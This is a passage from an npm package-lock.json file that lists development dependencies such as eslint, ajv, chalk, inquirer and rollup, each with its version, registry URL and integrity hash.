"sha512-jPTiwtOxaHNaAPg/dmrJ/beuzLRnXtB0kQPQ8JpotKJgTB6rX6c8mlf315941pyjBSaPg8NHXS9fhP4u17DpGA==", "dev": true }, "acorn-jsx": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.0.1.tgz", "integrity": "sha512-HJ7CfNHrfJLlNTzIEUTj43LNWGkqpRLxm3YjAlcD0ACydk9XynzYsCBHxut+iqt+1aBXkx9UP/w/ZqMr13XIzg==", "dev": true }, "ajv": { "version": "6.10.0", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", "dev": true, "requires": { "fast-deep-equal": "^2.0.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "ansi-escapes": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", "dev": true }, "ansi-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", "dev": true }, "ansi-styles": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { "color-convert": "^1.9.0" } }, "argparse": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", "dev": true, "requires": { "sprintf-js": "~1.0.2" } }, "astral-regex": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz", "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==", "dev": true }, "balanced-match": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", "dev": true }, "brace-expansion": { "version": "1.1.11", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", "dev": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "callsites": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", "dev": true }, "chalk": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", "dev": true, "requires": { "ansi-styles": "^3.2.1", "escape-string-regexp": "^1.0.5", "supports-color": "^5.3.0" } }, "chardet": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", "dev": true }, "cli-cursor": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", "dev": true, "requires": { "restore-cursor": "^2.0.0" } }, "cli-width": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.0.tgz", "integrity": "sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=", "dev": true }, "color-convert": { "version": "1.9.3", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", "dev": true, "requires": { "color-name": "1.1.3" } }, "color-name": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", "dev": true }, "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", "dev": true }, "cross-spawn": { "version": "6.0.5", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { "nice-try": "^1.0.4", "path-key": "^2.0.1", "semver": "^5.5.0", "shebang-command": "^1.2.0", "which": "^1.2.9" } }, "debug": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", "dev": true, "requires": { "ms": "^2.1.1" } }, "deep-is": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", "dev": true }, "doctrine": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", "dev": true, "requires": { "esutils": "^2.0.2" } }, "emoji-regex": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", "dev": true }, "escape-string-regexp": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", "dev": true }, "eslint": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/eslint/-/eslint-6.0.1.tgz", "integrity": "sha512-DyQRaMmORQ+JsWShYsSg4OPTjY56u1nCjAmICrE8vLWqyLKxhFXOthwMj1SA8xwfrv0CofLNVnqbfyhwCkaO0w==", "dev": true, "requires": { "@babel/code-frame": "^7.0.0", "ajv": "^6.10.0", "chalk": "^2.1.0", "cross-spawn": "^6.0.5", "debug": "^4.0.1", "doctrine": "^3.0.0", "eslint-scope": "^4.0.3", "eslint-utils": "^1.3.1", "eslint-visitor-keys": "^1.0.0", "espree": "^6.0.0", "esquery": "^1.0.1", "esutils": "^2.0.2", "file-entry-cache": "^5.0.1", "functional-red-black-tree": "^1.0.1", "glob-parent": "^3.1.0", "globals": "^11.7.0", "ignore": "^4.0.6", "import-fresh": "^3.0.0", "imurmurhash": "^0.1.4", "inquirer": "^6.2.2", "is-glob": "^4.0.0", "js-yaml": "^3.13.1", "json-stable-stringify-without-jsonify": "^1.0.1", "levn": "^0.3.0", "lodash": "^4.17.11", "minimatch": "^3.0.4", "mkdirp": "^0.5.1", "natural-compare": "^1.4.0", "optionator": "^0.8.2", "progress": "^2.0.0", "regexpp": "^2.0.1", "semver": "^5.5.1", "strip-ansi": "^4.0.0", "strip-json-comments": "^2.0.1", "table": "^5.2.3", "text-table": "^0.2.0" } }, "eslint-scope": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", "dev": true, "requires": { "esrecurse": "^4.1.0", "estraverse": "^4.1.1" } }, "eslint-utils": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.3.1.tgz", "integrity": "sha512-Z7YjnIldX+2XMcjr7ZkgEsOj/bREONV60qYeB/bjMAqqqZ4zxKyWX+BOUkdmRmA9riiIPVvo5x86m5elviOk0Q==", "dev": true }, "eslint-visitor-keys": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz", "integrity": "sha512-qzm/XxIbxm/FHyH341ZrbnMUpe+5Bocte9xkmFMzPMjRaZMcXww+MpBptFvtU+79L362nqiLhekCxCxDPaUMBQ==", "dev": true }, "espree": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/espree/-/espree-6.0.0.tgz", "integrity": "sha512-lJvCS6YbCn3ImT3yKkPe0+tJ+mH6ljhGNjHQH9mRtiO6gjhVAOhVXW1yjnwqGwTkK3bGbye+hb00nFNmu0l/1Q==", "dev": true, "requires": { "acorn": "^6.0.7", "acorn-jsx": "^5.0.0", "eslint-visitor-keys": "^1.0.0" } }, "esprima": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", "dev": true }, "esquery": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.0.1.tgz", "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", "dev": true, "requires": { "estraverse": "^4.0.0" } }, "esrecurse": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", "dev": true, "requires": { "estraverse": "^4.1.0" } }, "estraverse": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.2.0.tgz", "integrity": "sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=", "dev": true }, "estree-walker": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-0.6.1.tgz", "integrity": "sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w==", "dev": true }, "esutils": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", "integrity": "sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=", "dev": true }, "external-editor": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.0.3.tgz", "integrity": "sha512-bn71H9+qWoOQKyZDo25mOMVpSmXROAsTJVVVYzrrtol3d4y+AsKjf4Iwl2Q+IuT0kFSQ1qo166UuIwqYq7mGnA==", "dev": true, "requires": { "chardet": "^0.7.0", "iconv-lite": "^0.4.24", "tmp": "^0.0.33" } }, "fast-deep-equal": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", "dev": true }, "fast-json-stable-stringify": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", "dev": true }, "fast-levenshtein": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", "dev": true }, "figures": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", "dev": true, "requires": { "escape-string-regexp": "^1.0.5" } }, "file-entry-cache": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz", "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==", "dev": true, "requires": { "flat-cache": "^2.0.1" } }, "flat-cache": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz", "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==", "dev": true, "requires": { "flatted": "^2.0.0", "rimraf": "2.6.3", "write": "1.0.3" } }, "flatted": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.1.tgz", "integrity": "sha512-a1hQMktqW9Nmqr5aktAux3JMNqaucxGcjtjWnZLHX7yyPCmlSV3M54nGYbqT8K+0GhF3NBgmJCc3ma+WOgX8Jg==", "dev": true }, "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", "dev": true }, "functional-red-black-tree": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", "dev": true }, "glob": { "version": "7.1.4", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.4.tgz", "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==", "dev": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.0.4", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "glob-parent": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { "is-glob": "^3.1.0", "path-dirname": "^1.0.0" }, "dependencies": { "is-glob": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { "is-extglob": "^2.1.0" } } } }, "globals": { "version": "11.12.0", "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", "dev": true }, "has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, "iconv-lite": { "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", "dev": true, "requires": { "safer-buffer": ">= 2.1.2 < 3" } }, "ignore": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", "dev": true }, "import-fresh": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.1.0.tgz", "integrity": "sha512-PpuksHKGt8rXfWEr9m9EHIpgyyaltBy8+eF6GJM0QCAxMgxCfucMF3mjecK2QsJr0amJW7gTqh5/wht0z2UhEQ==", "dev": true, "requires": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", "dev": true }, "inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", "dev": true, "requires": { "once": "^1.3.0", "wrappy": "1" } }, "inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", "dev": true }, "inquirer": { "version": "6.4.1", "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.4.1.tgz", "integrity": "sha512-/Jw+qPZx4EDYsaT6uz7F4GJRNFMRdKNeUZw3ZnKV8lyuUgz/YWRCSUAJMZSVhSq4Ec0R2oYnyi6b3d4JXcL5Nw==", "dev": true, "requires": { "ansi-escapes": "^3.2.0", "chalk": "^2.4.2", "cli-cursor": "^2.1.0", "cli-width": "^2.0.0", "external-editor": "^3.0.3", "figures": "^2.0.0", "lodash": "^4.17.11", "mute-stream": "0.0.7", "run-async": "^2.2.0", "rxjs": "^6.4.0", "string-width": "^2.1.0", "strip-ansi": "^5.1.0", "through": "^2.3.6" }, "dependencies": { "ansi-regex": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", "dev": true }, "strip-ansi": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", "dev": true, "requires": { "ansi-regex": "^4.1.0" } } } }, "is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", "dev": true }, "is-glob": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", "dev": true, "requires": { "is-extglob": "^2.1.1" } }, "is-promise": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.1.0.tgz", "integrity": "sha1-eaKp7OfwlugPNtKy87wWwf9L8/o=", "dev": true }, "isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", "dev": true }, "js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", "dev": true }, "js-yaml": { "version": "3.13.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", "dev": true, "requires": { "argparse": "^1.0.7", "esprima": "^4.0.0" } }, "json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", "dev": true }, "json-stable-stringify-without-jsonify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", "dev": true }, "levn": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", "dev": true, "requires": { "prelude-ls": "~1.1.2", "type-check": "~0.3.2" } }, "lodash": { "version": "4.17.11", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==", "dev": true }, "mimic-fn": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", "dev": true }, "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", "dev": true, "requires": { "brace-expansion": "^1.1.7" } }, "minimist": { "version": "0.0.8", "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=", "dev": true }, "mkdirp": { "version": "0.5.1", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", "dev": true, "requires": { "minimist": "0.0.8" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true }, "mute-stream": { "version": "0.0.7", "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", "dev": true }, "natural-compare": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, "nice-try": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", "dev": true }, "once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", "dev": true, "requires": { "wrappy": "1" } }, "onetime": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", "dev": true, "requires": { "mimic-fn": "^1.0.0" } }, "optionator": { "version": "0.8.2", "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.2.tgz", "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", "dev": true, "requires": { "deep-is": "~0.1.3", "fast-levenshtein": "~2.0.4", "levn": "~0.3.0", "prelude-ls": "~1.1.2", "type-check": "~0.3.2", "wordwrap": "~1.0.0" } }, "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", "dev": true }, "parent-module": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", "dev": true, "requires": { "callsites": "^3.0.0" } }, "path-dirname": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", "dev": true }, "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", "dev": true }, "path-key": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", "dev": true }, "path-parse": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==", "dev": true }, "prelude-ls": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", "dev": true }, "progress": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", "dev": true }, "punycode": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", "dev": true }, "regexpp": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz", "integrity": "sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==", "dev": true }, "resolve": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.11.1.tgz", "integrity": "sha512-vIpgF6wfuJOZI7KKKSP+HmiKggadPQAdsp5HiC1mvqnfp0gF1vdwgBWZIdrVft9pgqoMFQN+R7BSWZiBxx+BBw==", "dev": true, "requires": { "path-parse": "^1.0.6" } }, "resolve-from": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", "dev": true }, "restore-cursor": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", "dev": true, "requires": { "onetime": "^2.0.0", "signal-exit": "^3.0.2" } }, "rimraf": { "version": "2.6.3", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", "dev": true, "requires": { "glob": "^7.1.3" } }, "rollup": { "version": "1.16.4", "resolved": "https://registry.npmjs.org/rollup/-/rollup-1.16.4.tgz", "integrity": 